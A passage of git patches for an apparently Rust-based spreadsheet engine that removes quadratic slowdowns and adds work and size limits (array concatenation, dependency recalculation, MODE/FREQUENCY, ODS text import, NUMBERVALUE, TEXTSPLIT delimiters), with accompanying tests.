is built. +pub(super) const MAX_CONCAT_ARRAY_BYTES: usize = 512 * 1024 * 1024; + pub fn binary_values(op: BinOp, x: &Value, y: &Value, sys: gridcraft_core::DateSystem) -> Value { + if op == BinOp::Concat && (matches!(x, Value::Array(_)) || matches!(y, Value::Array(_))) { + return concat_arrays(x, y, sys, MAX_CONCAT_ARRAY_BYTES); + } zip2(x, y, |a, b| binary_scalar(op, a, b, sys)) } +/// `x & y` with at least one array operand, giving `#NUM!` once the texts built so far pass `budget` +/// bytes. +fn concat_arrays(x: &Value, y: &Value, sys: gridcraft_core::DateSystem, budget: usize) -> Value { + let mut used = 0usize; + try_zip2(x, y, |a, b| { + let v = binary_scalar(BinOp::Concat, a, b, sys); + if let Value::Text(t) = &v { + used = used.saturating_add(t.len()); + if used > budget { + return None; + } + } + Some(v) + }) + .unwrap_or(Value::Error(CellError::Num)) +} + fn binary_scalar(op: BinOp, a: &Value, b: &Value, sys: gridcraft_core::DateSystem) -> Value { if let Value::Error(e) = a { return Value::Error(*e); @@ -187,7 +237,35 @@ fn binary_scalar(op: BinOp, a: &Value, b: &Value, sys: gridcraft_core::DateSyste #[cfg(test)] mod tests { - use super::{MAX_CELLS, broadcast_len}; + use super::{Array, BinOp, CellError, MAX_CELLS, Value, broadcast_len, concat_arrays, try_zip2}; + + /// The broadcast stops at the first refused cell: nothing after it is visited. + #[test] + fn a_refused_cell_stops_the_broadcast() { + let col = Value::from(Array::column((0..4_000).map(|i| Value::number(i as f64)).collect())); + let row = Value::from(Array { rows: 1, cols: 4_000, data: (0..4_000).map(|i| Value::number(i as f64)).collect() }); + let mut calls = 0; + let r = try_zip2(&col, &row, |a, _| { + calls += 1; + (calls <= 10).then(|| a.clone()) + }); + assert_eq!((r, calls), (None, 11)); + } + + #[test] + fn concatenating_arrays_stops_at_the_byte_budget() { + let sys = gridcraft_core::DateSystem::default(); + let col = Value::from(Array::column((0..100).map(|i| Value::number(i as f64)).collect())); + let long = Value::text("x".repeat(100)); + // 100 cells of 101 or 102 bytes each: about 10 KB in all. + let r = concat_arrays(&col, &long, sys, 20_000); + assert!(matches!(&r, Value::Array(a) if a.data.len() == 100), "{r:?}"); + assert_eq!(concat_arrays(&col, &long, sys, 5_000), Value::Error(CellError::Num)); + assert_eq!(concat_arrays(&long, &col, sys, 5_000), Value::Error(CellError::Num)); + // Through the operator, a small result is unaffected. + let r = super::binary_values(BinOp::Concat, &col, &Value::text("a"), sys); + assert!(matches!(&r, Value::Array(a) if a.data.first() == Some(&Value::text("0a"))), "{r:?}"); + } #[test] fn broadcast_len_caps_at_max_cells() { From db05400e67aed3831e5368a4991a12bfe3110be6 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:51:29 -0500 Subject: [PATCH 137/167] calc: list each dependent once when a change spreads (#3190) * calc: list each dependent once when a change spreads * calc: check the dependency closure against a walk of every cell Random graphs of single-cell, narrow and wide range reads (some removed or unsettled), random seeds and changed areas: the closure with shared taken records and area lookups equals the one listing every dependent of every changed cell. --- crates/calc/src/recalc.rs | 192 +++++++++++++++++++++++++++++--- crates/calc/src/recalc/graph.rs | 81 ++++++++++++++ 2 files changed, 259 insertions(+), 14 deletions(-) diff --git a/crates/calc/src/recalc.rs b/crates/calc/src/recalc.rs index 63ac533de..160e0d60d 100644 --- a/crates/calc/src/recalc.rs +++ b/crates/calc/src/recalc.rs @@ -24,7 +24,7 @@ mod pass_host; #[cfg(test)] use graph::Intervals; pub use graph::{FxHasher, Graph, Key}; -use graph::{HashMap, HashSet, Node}; +use graph::{HashMap, HashSet, Node, Taken}; use pass_host::{PassHost, spills_as_before}; /// Calculation state kept beside a workbook. @@ -292,17 +292,16 @@ impl Calc { } } } - // Spill areas of changed anchors also change. + // Spill areas of changed anchors also change. They stay rectangles: one seed per spilled + // cell listed the formulas reading the area once per cell. + let mut areas: Vec<(usize, RangeRef)> = cleared; for &k in changed { if let Some(r) = wb.sheet(k.0).and_then(|s| s.spill_ranges.get(&k.1)) { - seeds.extend(r.iter().map(|c| (k.0, c))); + areas.push((k.0, *r)); } } - for (si, r) in &cleared { - seeds.extend(r.iter().map(|c| (*si, c))); - } let t0 = prof_now(); - let dirty = self.dirty_closure(wb, &seeds); + let dirty = self.dirty_closure(wb, &seeds, &areas); let t1 = prof_now(); let n = dirty.len(); self.run(wb, dirty, false); @@ -311,16 +310,39 @@ impl Calc { } } - fn dirty_closure(&self, _wb: &Workbook, seeds: &[Key]) -> Vec { + /// The formulas to recalculate after `seeds` and every cell of `areas` changed: the seeds + /// that are formulas, and everything that reads them, directly or through other formulas. + fn dirty_closure(&self, wb: &Workbook, seeds: &[Key], areas: &[(usize, RangeRef)]) -> Vec { let mut seen: HashSet = HashSet::default(); let mut queue: VecDeque = VecDeque::new(); + // Each range-index entry is listed once in the whole walk: many changed cells under one + // broad reference (or many formulas inside one) would otherwise list every formula reading + // it once per cell, which squared the work. + let mut taken = Taken::default(); + let mut deps = Vec::new(); for k in seeds { if self.graph.nodes.contains_key(k) && seen.insert(*k) { queue.push_back(*k); } - let mut deps = Vec::new(); - self.graph.dependents(k.0, k.1, &mut deps); - for d in deps { + deps.clear(); + self.graph.dependents_untaken(k.0, k.1, &mut taken, &mut deps); + for d in deps.drain(..) { + if seen.insert(d) { + queue.push_back(d); + } + } + } + for &(si, r) in areas { + if let Some(sh) = wb.sheet(si) { + for (c, _) in sh.cells.iter_range(r) { + if self.graph.nodes.contains_key(&(si, c)) && seen.insert((si, c)) { + queue.push_back((si, c)); + } + } + } + deps.clear(); + self.graph.dependents_of_range(si, r, &mut deps); + for d in deps.drain(..) { if seen.insert(d) { queue.push_back(d); } @@ -331,10 +353,9 @@ impl Calc { queue.push_back(*k); } } - let mut deps = Vec::new(); while let Some(k) = queue.pop_front() { deps.clear(); - self.graph.dependents(k.0, k.1, &mut deps); + self.graph.dependents_untaken(k.0, k.1, &mut taken, &mut deps); for d in deps.drain(..) { if seen.insert(d) { queue.push_back(d); @@ -411,7 +432,7 @@ impl Calc { if spill_changes.is_empty() { break; } - dirty = self.dirty_closure(wb, &spill_changes); + dirty = self.dirty_closure(wb, &spill_changes, &[]); } // Loops among formulas the run did not evaluate stay listed while they are still formulas. // Iterative calculation reports none. @@ -691,6 +712,149 @@ pub(crate) mod tests { assert!(visited < 64, "visited {visited} nodes for no match"); } + #[test] + fn untaken_queries_list_each_interval_once_in_all() { + // 1,000 ranges over every row of 5,000: point queries at every row used to list all 1,000 + // each time (5 million matches); sharing `taken`, each range is listed once in all. + let n = 5_000u32; + let mut iv: Intervals = Intervals::default(); + for t in 0..1_000 { + iv.insert(0, n, t); + } + for r in 0..n { + iv.insert(r, r, 10_000 + r); + } + iv.settle(); + let mut taken = Vec::new(); + let mut listed = Vec::new(); + for row in 0..=n + 3 { + iv.query_untaken(row, row, &mut taken, &mut |t| { + listed.push(*t); + true + }); + } + listed.sort_unstable(); + let want: Vec = (0..1_000).chain(10_000..10_000 + n).collect(); + assert_eq!(listed, want); + // An entry the caller declines is offered again. + let mut taken = Vec::new(); + let mut offered = 0; + for _ in 0..3 { + iv.query_untaken(7, 7, &mut taken, &mut |t| { + if *t == 10_007 { + offered += 1; + } + *t != 10_007 + }); + } + assert_eq!(offered, 3); + } + + #[test] + fn dirty_closure_matches_a_walk_of_every_cell() { + // Random formulas over single cells, narrow ranges and wide (over 64 columns) ranges, some + // removed or left unsettled: the closure equals the one found by listing every dependent + // of every changed cell, area cells included, as before `taken` and areas existed. + use super::{HashSet, Node}; + use crate::eval::Area; + use std::collections::VecDeque; + let mut s = 0x2545_F491_4F6C_DD1D; + for case in 0..40 { + let mut wb = Workbook::new(); + let mut calc = Calc::new(); + let pick = |s: &mut u64, n: u64| (rng(s) % n) as u32; + let mut keys: Vec = Vec::new(); + for _ in 0..300 { + let k = (0, CellRef::new(pick(&mut s, 120), pick(&mut s, 150))); + let mut areas = Vec::new(); + for _ in 0..1 + pick(&mut s, 3) { + let start = CellRef::new(pick(&mut s, 120), pick(&mut s, 150)); + let end = match pick(&mut s, 3) { + 0 => start, + 1 => CellRef::new(start.row + pick(&mut s, 40), start.col + pick(&mut s, 5)), + _ => CellRef::new(start.row + pick(&mut s, 20), start.col + 65 + pick(&mut s, 30)), + }; + areas.push(Area { sheet: 0, range: RangeRef::new(start, end) }); + } + if let Some(sh) = wb.sheet_mut(0) { + sh.cells.set(k.1, Cell::formula(Formula::new("=1"))); + } + calc.graph.insert(k, Node { areas, dynamic: false }); + keys.push(k); + if rng(&mut s).is_multiple_of(7) { + calc.graph.settle(); + } + } + for _ in 0..30 { + let k = keys[(rng(&mut s) % keys.len() as u64) as usize]; + calc.graph.remove(k); + if let Some(sh) = wb.sheet_mut(0) { + sh.cells.remove(k.1); + } + } + if case % 2 == 0 { + calc.graph.settle(); + } + let seeds: Vec = (0..1 + pick(&mut s, 25)).map(|_| (0, CellRef::new(pick(&mut s, 140), pick(&mut s, 220)))).collect(); + let areas: Vec<(usize, RangeRef)> = (0..pick(&mut s, 3)) + .map(|_| { + let start = CellRef::new(pick(&mut s, 120), pick(&mut s, 150)); + (0, RangeRef::new(start, CellRef::new(start.row + pick(&mut s, 30), start.col + pick(&mut s, 80)))) + }) + .collect(); + let got: HashSet = calc.dirty_closure(&wb, &seeds, &areas).into_iter().collect(); + // The walk before: every area cell is a seed, and every cell lists all its dependents. + let mut all = seeds.clone(); + for (si, r) in &areas { + all.extend(r.iter().map(|c| (*si, c))); + } + let mut want: HashSet = HashSet::default(); + let mut queue: VecDeque = VecDeque::new(); + let mut deps = Vec::new(); + for k in &all { + if calc.graph.nodes.contains_key(k) && want.insert(*k) { + queue.push_back(*k); + } + deps.clear(); + calc.graph.dependents(k.0, k.1, &mut deps); + queue.extend(deps.iter().copied().filter(|d| want.insert(*d))); + } + while let Some(k) = queue.pop_front() { + deps.clear(); + calc.graph.dependents(k.0, k.1, &mut deps); + queue.extend(deps.iter().copied().filter(|d| want.insert(*d))); + } + assert_eq!(got, want, "case {case}"); + } + } + + #[test] + fn clearing_a_spill_recalculates_formulas_reading_it_once_each() { + // 300 formulas read the area an anchor spills into; clearing the anchor changes all of it + // and every one of them is recalculated (they were listed once per spilled cell). + let mut wb = Workbook::new(); + let mut calc = Calc::new(); + let set = |wb: &mut Workbook, calc: &mut Calc, at: CellRef, input: &str| { + if let Some(sh) = wb.sheet_mut(0) { + if input.is_empty() { + sh.cells.remove(at); + } else { + sh.cells.set(at, Cell::formula(Formula::new(input))); + } + } + calc.cells_changed(wb, &[(0, at)]); + }; + set(&mut wb, &mut calc, CellRef::new(0, 0), "=SEQUENCE(2000)"); + for r in 0..300 { + set(&mut wb, &mut calc, CellRef::new(r, 2), "=COUNT(A1:A2000)"); + } + assert_eq!(wb.sheet(0).map(|s| s.value(CellRef::new(299, 2))), Some(Value::Number(2000.0))); + set(&mut wb, &mut calc, CellRef::new(0, 0), ""); + for r in 0..300 { + assert_eq!(wb.sheet(0).map(|s| s.value(CellRef::new(r, 2))), Some(Value::Number(0.0)), "row {r}"); + } + } + /// `rows` rows of six numbers (E:J) and `=SUM(E{r}:J{r})` in K. fn sum_rows(rows: u32) -> Workbook { let mut wb = Workbook::new(); diff --git a/crates/calc/src/recalc/graph.rs b/crates/calc/src/recalc/graph.rs index ab034f8cc..f8a100eb3 100644 --- a/crates/calc/src/recalc/graph.rs +++ b/crates/calc/src/recalc/graph.rs @@ -151,6 +151,54 @@ impl Intervals { self.walk(1, 0, self.max_end.len() / 2, p, a, f) } + /// [`Intervals::query`] that skips entries an earlier call with the same `taken` already + /// took (and whole subtrees of them), so that a series of queries lists each interval once in + /// all. `f` answers whether it took the entry; one it declines is offered again later. + /// `taken` belongs to this index as it is now; start it empty. Pending insertions (a few at + /// most after [`Intervals::settle`]) are offered every time. + pub(super) fn query_untaken(&self, a: u32, b: u32, taken: &mut Vec, f: &mut dyn FnMut(&T) -> bool) { + for it in &self.pending { + if it.0 <= b && it.1 >= a { + f(&it.2); + } + } + let p = self.items.partition_point(|it| it.0 <= b); + if p == 0 { + return; + } + if taken.len() != self.max_end.len() { + *taken = vec![false; self.max_end.len()]; + } + self.walk_untaken(1, 0, self.max_end.len() / 2, p, a, taken, f); + } + + /// Returns whether everything under `node` has now been reported (or is dead). + #[allow(clippy::too_many_arguments)] + fn walk_untaken(&self, node: usize, lo: usize, hi: usize, p: usize, a: u32, taken: &mut [bool], f: &mut dyn FnMut(&T) -> bool) -> bool { + if taken.get(node).copied().unwrap_or(true) { + return true; + } + if lo >= p || self.max_end.get(node).is_none_or(|m| *m < a) { + return false; + } + let done = if hi - lo <= 1 { + match (self.items.get(lo), self.dead.get(lo)) { + (Some(it), Some(false)) if it.1 >= a => f(&it.2), + (Some(_), Some(true)) => true, + _ => false, + } + } else { + let mid = lo + (hi - lo) / 2; + let left = self.walk_untaken(2 * node, lo, mid, p, a, taken, f); + let right = self.walk_untaken(2 * node + 1, mid, hi, p, a, taken, f); + left && right + }; + if done && let Some(slot) = taken.get_mut(node) { + *slot = true; + } + done + } + fn walk(&self, node: usize, lo: usize, hi: usize, p: usize, a: u32, f: &mut dyn FnMut(&T)) -> usize { if lo >= p || self.max_end.get(node).is_none_or(|m| *m < a) { return 1; @@ -168,6 +216,13 @@ impl Intervals { } } +/// Range-index entries one dependency walk has already listed (see [`Graph::dependents_untaken`]). +#[derive(Default)] +pub(super) struct Taken { + cols: HashMap<(usize, u32), Vec>, + wide: HashMap>, +} + #[derive(Clone, Debug, Default)] pub struct Graph { pub(super) nodes: HashMap, @@ -302,6 +357,32 @@ impl Graph { } } + /// [`Graph::dependents`] leaving out the formulas whose range reads an earlier call with the + /// same `taken` already listed. A walk over many changed cells that a few broad ranges cover + /// then lists those formulas once, instead of once per cell (which squared the work). The + /// graph must not change while `taken` is in use. + pub(super) fn dependents_untaken(&self, sheet: usize, c: CellRef, taken: &mut Taken, out: &mut Vec) { + if let Some(v) = self.cell_deps.get(&(sheet, c)) { + out.extend(v.iter().copied()); + } + if let Some(v) = self.col_deps.get(&(sheet, c.col)) { + v.query_untaken(c.row, c.row, taken.cols.entry((sheet, c.col)).or_default(), &mut |k| { + out.push(*k); + true + }); + } + if let Some(v) = self.wide_deps.get(&sheet) { + // A wide entry is taken once it covers the cell's column too. + v.query_untaken(c.row, c.row, taken.wide.entry(sheet).or_default(), &mut |(c0, c1, k)| { + let hit = *c0 <= c.col && c.col <= *c1; + if hit { + out.push(*k); + } + hit + }); + } + } + /// Formulas that read any cell of `range` (a formula can be listed more than once). pub fn dependents_of_range(&self, sheet: usize, range: RangeRef, out: &mut Vec) { if range.count() <= 4096 { From 065f05dbeccd98c6bca8f69fcdff9132d96fd732 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:51:58 -0500 Subject: [PATCH 138/167] Security: MODE counts through an index, FREQUENCY bins by binary search (#3198) * functions: MODE counts through an index, FREQUENCY bins by binary search MODE/MODE.SNGL/MODE.MULT searched the list of distinct numbers seen so far for every input, and FREQUENCY scanned the sorted bins for every data value, so both were quadratic in computed arrays. MODE now keys counts by value (-0 folded into 0, NaN never merged) and keeps first-occurrence order; FREQUENCY finds the first bin at or above each value with partition_point over the order it already sorts. Results are unchanged. * address review: FREQUENCY keeps NaN data in the overflow bin and NaN bins empty --- crates/functions/src/stat/descriptive.rs | 29 ++++++++++++++++++++---- crates/functions/src/stat/tests.rs | 20 ++++++++++++++++ 2 files changed, 44 insertions(+), 5 deletions(-) diff --git a/crates/functions/src/stat/descriptive.rs b/crates/functions/src/stat/descriptive.rs index f4e4b0160..c862e7605 100644 --- a/crates/functions/src/stat/descriptive.rs +++ b/crates/functions/src/stat/descriptive.rs @@ -50,12 +50,27 @@ pub(super) fn median(v: Vec) -> R { /// Values occurring at least twice, ordered by first occurrence, with their (equal, maximal) count. fn modes(v: &[f64]) -> Vec { + // Index of each distinct number in `counts`, so counting is linear rather than a search of + // every distinct number so far. Keyed by bits with -0 folded into 0 (they compare equal); NaN + // never equals anything, so it is never merged. + let mut index: std::collections::HashMap = std::collections::HashMap::new(); let mut counts: Vec<(f64, usize)> = Vec::new(); for &x in v { - if let Some(e) = counts.iter_mut().find(|e| e.0 == x) { - e.1 += 1; - } else { + if x.is_nan() { counts.push((x, 1)); + continue; + } + let key = if x == 0.0 { 0 } else { x.to_bits() }; + match index.entry(key) { + std::collections::hash_map::Entry::Occupied(e) => { + if let Some(c) = counts.get_mut(*e.get()) { + c.1 += 1; + } + } + std::collections::hash_map::Entry::Vacant(e) => { + e.insert(counts.len()); + counts.push((x, 1)); + } } } let best = counts.iter().map(|e| e.1).max().unwrap_or(0); @@ -451,11 +466,15 @@ pub(super) fn frequency(a: &[Arg], _: C) -> R { if bins.is_empty() { return col_value(vec![data.len() as f64]); } - let mut order: Vec = (0..bins.len()).collect(); + // a NaN bin equals no value (and would break the ascending order searched below) + let mut order: Vec = (0..bins.len()).filter(|&i| bins.get(i).is_some_and(|b| !b.is_nan())).collect(); order.sort_by(|&i, &j| bins.get(i).copied().unwrap_or(0.0).total_cmp(&bins.get(j).copied().unwrap_or(0.0))); let mut counts = vec![0.0; bins.len() + 1]; for x in data { - let slot = order.iter().find(|&&i| x <= bins.get(i).copied().unwrap_or(f64::INFINITY)).copied().unwrap_or(bins.len()); + // `order` sorts the bins ascending, so the bins `x` exceeds come first: binary search for + // the first bin at or above `x` (the first of equal bins, as a linear scan would find). + let pos = if x.is_nan() { order.len() } else { order.partition_point(|&i| bins.get(i).copied().unwrap_or(f64::INFINITY) < x) }; + let slot = order.get(pos).copied().unwrap_or(bins.len()); if let Some(c) = counts.get_mut(slot) { *c += 1.0; } diff --git a/crates/functions/src/stat/tests.rs b/crates/functions/src/stat/tests.rs index ba59116cd..efadca8c3 100644 --- a/crates/functions/src/stat/tests.rs +++ b/crates/functions/src/stat/tests.rs @@ -617,3 +617,23 @@ fn aggregate_helper() { close(aggregate_values_k(9, &vals, &nv(2.0)), 9.0); is_err(aggregate_values_k(14, &vals, &nv(10.0)), CellError::Num); } + +/// Security: FREQUENCY finds each value's bin by binary search, and MODE counts distinct numbers +/// through an index, so neither is quadratic in its inputs. Results are as before: unsorted and +/// duplicate bins keep their positions (a value goes to the first of equal bins), and tied modes +/// come in first-occurrence order. +#[test] +fn frequency_and_mode_scale_with_their_inputs() { + let f = ev("FREQUENCY", vec![c(&[1.0, 2.0, 2.0, 3.0, 5.0, 9.0, -1.0]), c(&[3.0, 2.0, 2.0, 0.0])]); + assert_eq!(rows_of(&f), vec![vec![nv(1.0)], vec![nv(3.0)], vec![nv(0.0)], vec![nv(1.0)], vec![nv(2.0)]]); + // NaN data goes to the overflow bin, and a NaN bin takes nothing + let f = ev("FREQUENCY", vec![c(&[f64::NAN, 0.5, 2.0]), c(&[f64::NAN, 1.0])]); + assert_eq!(rows_of(&f), vec![vec![nv(0.0)], vec![nv(1.0)], vec![nv(2.0)]]); + let data: Vec = (0..200_000).map(|i| f64::from(i) + 1e6).collect(); + let bins: Vec = (0..200_000).map(f64::from).collect(); + let f = ev("FREQUENCY", vec![c(&data), c(&bins)]); + assert_eq!(rows_of(&f).last(), Some(&vec![nv(200_000.0)])); + let distinct = ev("MODE", vec![c(&data)]); + is_err(distinct, CellError::NA); + assert_eq!(rows_of(&ev("MODE.MULT", vec![c(&[3.0, 0.0, 1.0, -0.0, 3.0, 1.0])])), vec![vec![nv(3.0)], vec![nv(0.0)], vec![nv(1.0)]]); +} From 184c0ec84d640e70e803c3c537c8bf840606e860 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:52:28 -0500 Subject: [PATCH 139/167] ods: charge a cell's text when the cell is read, not when its row ends (#3257) The importer kept every cell of a row and only charged their text to the 64 MiB allowance when the row finished, so one row of long cells could hold up to 16,384 MiB before being refused. Text is now charged as each cell finishes; the row charges only its repeats. --- crates/xlsx/src/ods.rs | 11 ++++++++++- crates/xlsx/src/tests/ods_tests.rs | 12 ++++++++++++ 2 files changed, 22 insertions(+), 1 deletion(-) diff --git a/crates/xlsx/src/ods.rs b/crates/xlsx/src/ods.rs index 9b7f0743b..b64930211 100644 --- a/crates/xlsx/src/ods.rs +++ b/crates/xlsx/src/ods.rs @@ -470,6 +470,14 @@ impl Import { None => return Err(IoError::TooLarge("ODS row exceeds worksheet width".into())), }; if kept { + // Charge the text a row keeps before the row is done, so a row of many long cells is + // refused as it grows; finish_row charges the row's repeats beyond the first. + if let Value::Text(t) = &cell.value { + self.text = self.text.saturating_add(u64::from(draft.repeat).saturating_mul(t.len() as u64)); + if self.text > MAX_TEXT { + return Err(IoError::TooLarge("ODS expands beyond the import limit (64 MiB of text)".into())); + } + } row.cells.push(RepeatedCell { col: row.col, repeat: draft.repeat, width, height, cell }); } row.col = end; @@ -537,7 +545,8 @@ impl Import { if !entry.cell.is_blank() { self.cells = self.cells.saturating_add(count); if let Value::Text(t) = &entry.cell.value { - self.text = self.text.saturating_add(count.saturating_mul(t.len() as u64)); + let repeats = count.saturating_sub(u64::from(entry.repeat)); + self.text = self.text.saturating_add(repeats.saturating_mul(t.len() as u64)); } } let merged = entry.width > 1 || entry.height > 1; diff --git a/crates/xlsx/src/tests/ods_tests.rs b/crates/xlsx/src/tests/ods_tests.rs index 47c258657..bac55efeb 100644 --- a/crates/xlsx/src/tests/ods_tests.rs +++ b/crates/xlsx/src/tests/ods_tests.rs @@ -200,6 +200,18 @@ fn ods_expansion_bounds_stop_small_repeat_bombs() { "x".repeat(1024) ); assert!(matches!(read_ods(&ods(&text)), Err(IoError::TooLarge(_)))); + // One row of cells each just under the 1 MiB cell limit, past 64 MiB in all: refused while + // the row is read, before it holds them all. The row's end is never reached. + let long = format!(r#""#, "x".repeat(1024 * 1024 - 1)); + let cells = ods(&format!(r#"{}"#, long.repeat(65))); + assert!(matches!(read_ods(&cells), Err(IoError::TooLarge(_)))); + // A row repeated once more than its cells' text allows is refused too, and one that fits reads. + let cell = format!(r#""#, "y".repeat(1024)); + let rows = |n: u32| { + ods(&format!(r#"{cell}"#)) + }; + assert!(read_ods(&rows(65_536)).is_ok()); + assert!(matches!(read_ods(&rows(65_537)), Err(IoError::TooLarge(_)))); } #[test] From a31178f5194ebb538af2728b8621c202d9a971ad Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:53:18 -0500 Subject: [PATCH 140/167] functions: NUMBERVALUE strips trailing percent signs in one pass (#3262) Each trailing % copied the rest of the text again, so a long run of them made one call quadratic. The signs are now counted and cut off in place. --- crates/functions/src/text.rs | 19 ++++++++++++++----- 1 file changed, 14 insertions(+), 5 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index 7f1ba8731..bf4d51d22 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -339,11 +339,11 @@ fn numbervalue(a: &[Arg], c: &mut dyn Ctx) -> R { if body.is_empty() { return num_val(0.0); } - let mut pct = 0; - while let Some(b) = body.strip_suffix('%') { - body = b.to_string(); - pct += 1; - } + // Count the trailing percent signs and cut them off in place: copying the rest once per sign + // made a long run of them quadratic. + let kept = body.trim_end_matches('%').len(); + let pct = body.len() - kept; + body.truncate(kept); let mut seen_dec = false; let mut out = String::new(); for c in body.chars() { @@ -1084,6 +1084,15 @@ mod tests { use crate::util::testutil::*; + /// Trailing percent signs each divide by 100, and a long run of them is cut off in one pass. + #[test] + fn numbervalue_percent_signs() { + close(ev("NUMBERVALUE", vec![t("5%%")]), 0.0005); + close(ev("NUMBERVALUE", vec![t("1,5%"), t(","), t(".")]), 0.015); + let many = format!("1{}", "%".repeat(32_000)); + close(ev("NUMBERVALUE", vec![t(&many)]), 0.0); + } + #[test] fn bahttext() { let bt = |x: f64| ev("BAHTTEXT", vec![n(x)]); From 017c80572cb9592ba3f4228078cb1dd38a462d65 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 22:53:47 -0500 Subject: [PATCH 141/167] functions: match TEXTSPLIT/TEXTBEFORE/TEXTAFTER delimiters through an index, within a work limit (#3263) * functions: match TEXTSPLIT/TEXTBEFORE/TEXTAFTER delimiters through an index, within a work limit The delimiter matcher compared every delimiter, duplicates included, at every position of the text. Delimiters are now deduplicated and grouped by the character a match is anchored on, and a search that would compare more than 100 million characters returns #VALUE!. * functions: pass float literals in the delimiter test --- crates/functions/src/text.rs | 85 ++++++++++++++++++++++++++++-------- 1 file changed, 67 insertions(+), 18 deletions(-) diff --git a/crates/functions/src/text.rs b/crates/functions/src/text.rs index bf4d51d22..24674a93c 100644 --- a/crates/functions/src/text.rs +++ b/crates/functions/src/text.rs @@ -1,5 +1,7 @@ //! Text functions. +use std::collections::HashMap; + use gridcraft_core::parse::parse_number_text_in; use gridcraft_core::{CellError, Value, number_to_text}; @@ -541,23 +543,52 @@ fn delimiters(v: &Value) -> R>> { as_array(v).iter().map(|d| d.to_text().map(|s| chars(&s))).collect() } +/// Most delimiter characters compared in one search: text length × delimiters is the formula's +/// to choose, so the search gives up with `#VALUE!` rather than run on. +const MAX_MATCH_WORK: u64 = 100_000_000; + /// Non-overlapping delimiter matches (start, end) in char positions, in ascending order. Scans left /// to right preferring the longest delimiter starting at each position, or (`from_end`) right to /// left preferring the longest delimiter ending at each position. Empty delimiters are ignored unless all -/// delimiters are empty, in which case every position matches with zero length. -fn find_matches(text: &[char], delims: &[Vec], insensitive: bool, from_end: bool) -> Vec<(usize, usize)> { +/// delimiters are empty, in which case every position matches with zero length. Repeated +/// delimiters are tried once, and only those whose first (or, from the end, last) character is the +/// one at hand; a search past [`MAX_MATCH_WORK`] is `#VALUE!`. +fn find_matches(text: &[char], delims: &[Vec], insensitive: bool, from_end: bool) -> R> { let t = if insensitive { fold(text) } else { text.to_vec() }; - let ds: Vec> = delims.iter().filter(|d| !d.is_empty()).map(|d| if insensitive { fold(d) } else { d.clone() }).collect(); + let mut ds: Vec> = delims.iter().filter(|d| !d.is_empty()).map(|d| if insensitive { fold(d) } else { d.clone() }).collect(); if ds.is_empty() { - return (0..=t.len()).map(|i| (i, i)).collect(); + return Ok((0..=t.len()).map(|i| (i, i)).collect()); } + ds.sort_unstable(); + ds.dedup(); + // Delimiters by the character a match is anchored on. + let mut by_char: HashMap> = HashMap::new(); + for d in &ds { + let anchor = if from_end { d.last() } else { d.first() }; + if let Some(&c) = anchor { + by_char.entry(c).or_default().push(d); + } + } + let mut work = 0u64; + let mut longest = |candidates: Option<&Vec<&[char]>>, fits: &dyn Fn(&[char]) -> bool| -> R> { + let mut best = None; + for d in candidates.into_iter().flatten() { + work = work.saturating_add(d.len() as u64); + if work > MAX_MATCH_WORK { + return Err(CellError::Value); + } + if fits(d) { + best = best.max(Some(d.len())); + } + } + Ok(best) + }; let mut out = Vec::new(); if from_end { let mut j = t.len(); while j > 0 { - let best = - ds.iter().filter(|d| j.checked_sub(d.len()).and_then(|st| t.get(st..j)).is_some_and(|w| w == d.as_slice())).map(Vec::len).max(); - match best { + let at = t.get(j - 1).and_then(|c| by_char.get(c)); + match longest(at, &|d| j.checked_sub(d.len()).and_then(|st| t.get(st..j)).is_some_and(|w| w == d))? { Some(l) => { out.push((j - l, j)); j -= l; @@ -566,12 +597,12 @@ fn find_matches(text: &[char], delims: &[Vec], insensitive: bool, from_end } } out.reverse(); - return out; + return Ok(out); } let mut i = 0; while i < t.len() { - let best = ds.iter().filter(|d| t.get(i..i + d.len()).is_some_and(|w| w == d.as_slice())).map(Vec::len).max(); - match best { + let at = t.get(i).and_then(|c| by_char.get(c)); + match longest(at, &|d| t.get(i..i + d.len()).is_some_and(|w| w == d))? { Some(l) => { out.push((i, i + l)); i += l; @@ -579,7 +610,7 @@ fn find_matches(text: &[char], delims: &[Vec], insensitive: bool, from_end None => i += 1, } } - out + Ok(out) } fn text_before_after(a: &[Arg], before: bool) -> R { @@ -591,7 +622,7 @@ fn text_before_after(a: &[Arg], before: bool) -> R { if !(0..=1).contains(&mode) || inst == 0 || inst.unsigned_abs() as usize > s.len().max(1) { return Err(CellError::Value); } - let mut m = find_matches(&s, &delims, mode == 1, inst < 0); + let mut m = find_matches(&s, &delims, mode == 1, inst < 0)?; if match_end { if inst > 0 { if m.last().is_none_or(|x| x.0 != s.len()) { @@ -620,18 +651,18 @@ fn textafter(a: &[Arg], _c: &mut dyn Ctx) -> R { text_before_after(a, false) } -fn split_by(s: &[char], delims: &[Vec], insensitive: bool) -> Vec> { +fn split_by(s: &[char], delims: &[Vec], insensitive: bool) -> R>> { if delims.iter().all(Vec::is_empty) { - return vec![s.to_vec()]; + return Ok(vec![s.to_vec()]); } let mut out = Vec::new(); let mut last = 0; - for (st, en) in find_matches(s, delims, insensitive, false) { + for (st, en) in find_matches(s, delims, insensitive, false)? { out.push(s[last..st].to_vec()); last = en; } out.push(s[last..].to_vec()); - out + Ok(out) } fn textsplit(a: &[Arg], _c: &mut dyn Ctx) -> R { @@ -648,12 +679,12 @@ fn textsplit(a: &[Arg], _c: &mut dyn Ctx) -> R { } let pad = if has(a, 5) { scalar(arg(a, 5)?) } else { Value::Error(CellError::NA) }; let mut rows: Vec> = Vec::new(); - for r in split_by(&s, &row_d, mode == 1) { + for r in split_by(&s, &row_d, mode == 1)? { if ignore && r.is_empty() { continue; } let cells: Vec = - split_by(&r, &col_d, mode == 1).into_iter().filter(|c| !(ignore && c.is_empty())).map(|c| c.into_iter().collect()).collect(); + split_by(&r, &col_d, mode == 1)?.into_iter().filter(|c| !(ignore && c.is_empty())).map(|c| c.into_iter().collect()).collect(); if ignore && cells.is_empty() { continue; } @@ -1375,6 +1406,24 @@ mod tests { 